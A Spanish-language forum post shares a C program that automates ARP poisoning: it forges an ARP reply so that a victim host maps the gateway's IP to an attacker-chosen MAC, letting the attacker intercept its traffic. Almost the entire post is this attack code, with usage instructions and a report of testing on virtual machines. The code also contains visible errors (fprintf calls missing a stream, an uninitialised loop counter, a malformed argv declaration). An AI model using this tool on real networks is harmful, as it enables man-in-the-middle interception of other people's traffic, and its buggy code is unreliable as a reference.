La otra vez que subí el código estaba sin testear y había un par de cosas por ahí que no estaban muy claras, ahora que he podido sacar un tiempo lo he apañado. No es más que automatizar el arp spoofing, el proceso creo que está más o menos explicado en el código, cualquier cosa escribid :).

Código: Seleccionar todo

/*

/** Lanzar un ARP REPLY al host víctima con la MAC origen del host que quiera recibir las tramas la intención es que se falsee la ip de la puerta de enlace de la red -si se quiere recibir tráfico destinado a una red externa-, o la ip de un equipo de la red local -si se quiere recibir el tráfico destinado a ese host-
La ip destino será la ip del host a "engañar", al recibir el reply, asociará en su tabla arp una entrada falsa e.g. el par IPGATEWAY-MIMAC -todo tráfico dirigido al router (normalmente todo lo destinado a redes externas salvo cambios en la tabla de encaminamiento) es interceptado- **/
     
    #include <errno.h>
    #include <stdio.h>
    #include <stdarg.h>
    #include <string.h>
    #include <arpa/inet.h>
    #include <net/ethernet.h>
    #include <net/if.h>
    #include <netinet/if_ether.h>
    #include <netpacket/packet.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
     
    int get_socket_descriptor();
    int get_iface_index(int);
    void set_sockaddr_ll(struct sockaddr_ll*,int);
    void send_eth_frame(struct ether_arp*,struct in_addr*,struct sockaddr_ll*,int,const char*,const char*);
    void usage();
     
    /** MAC ADDR de difusión -> 48 bits a 1 **/
    const unsigned char ether_broadcast_addr[] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
    /** Spoofed MAC por defecto **/
    unsigned char ether_spoofed_addr[] = {0x13,0x37,0x13,0x37,0x13,0x37};
     
    int main(int argc,char** argv[]){
            if(argc!=4){
                     usage();
                     exit(0);
            }
			/** Set MAC arg **/
			char* p = argv[3];
			int i,j = 0;
			for(;i<=15;i+=3) sscanf(p+i,"%2x",&ether_spoofed_addr[j++]);
				
            /** Obtener descriptor del socket **/
            int fd = get_socket_descriptor();
            /** Obtener indice de la interfaz que se quiere emplear para el envío **/
            int if_index = get_iface_index(fd);
            /** Set del AF_PACKET **/
            struct sockaddr_ll addr;
            memset(&addr,0,sizeof(struct sockaddr_ll));
            set_sockaddr_ll(&addr,if_index);
            /** Envío de la trama ethernet **/
            struct ether_arp req;
            struct in_addr target_ip_addr;
            memset(&req,0,sizeof(struct ether_arp));
            memset(&target_ip_addr,0,sizeof(struct in_addr));
            send_eth_frame(&req,&target_ip_addr,&addr,fd,argv[2],argv[1]);
            return 0;
    }
     
    void send_eth_frame(struct ether_arp* req,struct in_addr* target_ip_addr,struct sockaddr_ll* addr, int fd,const char* target_ip_string,const char* source_ip_string){
            req->arp_hrd = htons(ARPHRD_ETHER); 
            req->arp_op = htons(ARPOP_REPLY); // ARPOP_REQUEST || ARPOP_REPLY
            req->arp_pro = htons(ETH_P_IP);    
            req->arp_hln = ETHER_ADDR_LEN;    
            req->arp_pln = sizeof(in_addr_t);
            
        	/** Set MAC origen (source hardware address) **/
            memset(&(req->arp_sha),0,sizeof(req->arp_sha));
            memcpy(&(req->arp_sha),ether_spoofed_addr,sizeof(req->arp_sha));
            
			/** Falsear IP origen (source protocol address) **/
			if(!inet_aton(source_ip_string,target_ip_addr)){
                    fprintf("%s no es una ip valida",target_ip_string);
                    exit(0);
            }
            memset(&(req->arp_spa),0,sizeof(req->arp_spa));
            memcpy(&req->arp_spa,&target_ip_addr->s_addr,sizeof(req->arp_spa));
            
            /** Set req->arp_tpa (target protocol address) ip víctima **/
            if(!inet_aton(target_ip_string,target_ip_addr)){
                    fprintf("%s no es una ip valida",target_ip_string);
                    exit(0);
            }
            memset(&(req->arp_tpa),0,sizeof(req->arp_tpa));
            memcpy(&req->arp_tpa,&target_ip_addr->s_addr,sizeof(req->arp_tpa));

            /** Send packet **/
            if(sendto(fd,req,sizeof(*req),0,(struct sockaddr*)addr,sizeof(*addr))==-1){
                    fprintf(stderr,"%s",strerror(errno));
            }
            else fprintf(stdout,"ARP Poisoning realizado\n");
    }
     
    void set_sockaddr_ll(struct sockaddr_ll* addr,int if_index){
            addr->sll_family = AF_PACKET;
            addr->sll_ifindex = if_index;
            // MAC -> 6B -> 48b -> 2^48 combinaciones , 24 MSB compañia, 24 LBS id
            addr->sll_halen = sizeof(ether_broadcast_addr);
            addr->sll_protocol = htons(ETH_P_ARP); // 0x806 ARP,0x800IP,...
            memcpy(addr->sll_addr,ether_broadcast_addr,sizeof(ether_broadcast_addr));
    }
     
    int get_socket_descriptor(){
            int fd = socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));
            if(fd==-1){
                    fprintf(stderr,"%s",strerror(errno));
                    exit(0);
            }
            return fd;
    }
     
    int get_iface_index(int fd){
            struct ifreq ifr;
            char* if_name = "eth0";
            size_t if_name_len = strlen(if_name);
            /** Comprobar si cabe en ifr_name[IFNAMSIZ]; **/
            if(if_name_len<IFNAMSIZ){
                    /** Especificar el nombre de la interfaz **/
                    memcpy(ifr.ifr_name,if_name,if_name_len);
                    ifr.ifr_name[if_name_len] = 0x00; // NULL byte at end
            }else{
                    fprintf(stderr,"Nombre de interfaz demasiado largo");
                    exit(0);
            }
            /** Consultar al driver de la NIC el index de la interfaz ifr con
                    request SIOCGIFINDEX **/
            if(ioctl(fd,SIOCGIFINDEX,&ifr)==-1){
                    fprintf(stderr,"%s",strerror(errno));
                    exit(0);
            }
            return ifr.ifr_ifindex;
    }
     
    void usage(){
            fprintf(stdout,"usage: ./arppoisoning sourceIP destinationIP spoofedMAC\n\tsourceIP: Ip para spoofear la dirección origen(e.g 192.168.1.1 (GW))\n\tdestinationIP: Ip destino del host cuya tabla debe ser envenenada (e.g. 192.168.1.134).\n\tspoofedMAC: Mac del host que recibirá las tramas(e.g. FF-FF-FF-FF-FF-FF).\n");
    }
El test me costó lo suyo, no había forma de montarme la red local en casa porque no había suficientes cables de par trenzado por ahí xD. Al final con una red de virtuales ha sido suficiente, pongo screens del proceso y la tabla resultado.

Imagen

Imagen


Un saludo :D
Responder

Volver a “C/C++”